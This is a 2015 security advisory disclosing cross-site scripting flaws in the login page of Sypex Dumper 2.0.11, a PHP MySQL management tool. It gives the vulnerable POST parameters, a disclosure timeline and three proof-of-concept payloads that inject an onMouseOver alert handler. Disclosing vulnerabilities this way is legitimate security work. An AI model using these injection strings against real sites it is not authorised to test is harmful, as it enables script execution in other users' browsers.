Credits: John Page ( hyp3rlinx )
Domains: hyp3rlinx.altervista.org
Source:
http://hyp3rlinx.altervista.org/advisories/AS-SYPEX0529.txt
Vendor:
https://sypex.net
Product:
Sypex Dumper 2.0.11 is a PHP web based MySQL database management system.
Advisory Information:
================================================
Sypex Dumper 2.0.11 XSS Vulnerabilities
XSS
Vulnerability Details:
=====================
Login page input fields are vulnerable to XSS via POST method.
Allowing remote attackers to execute arbitrary code in the
context of an user's browser session.
Exploit code(s):
===============
host="onMouseOver="alert(666);
pass="onMouseOver="alert(666);
user="onMouseOver="alert(666);
Disclosure Timeline:
=========================================================
Vendor Notification: May 27, 2015
May 29, 2015: Public Disclosure
Severity Level:
=========================================================
Med
Description:
==========================================================
Request Method(s):
[+] POST
Vulnerable Product:
[+] Sypex Dumper 2.0.11
Vulnerable Parameter(s):
[+] host, pass, user
Affected Area(s):
[+] Login page
===============================================================
(hyp3rlinx)
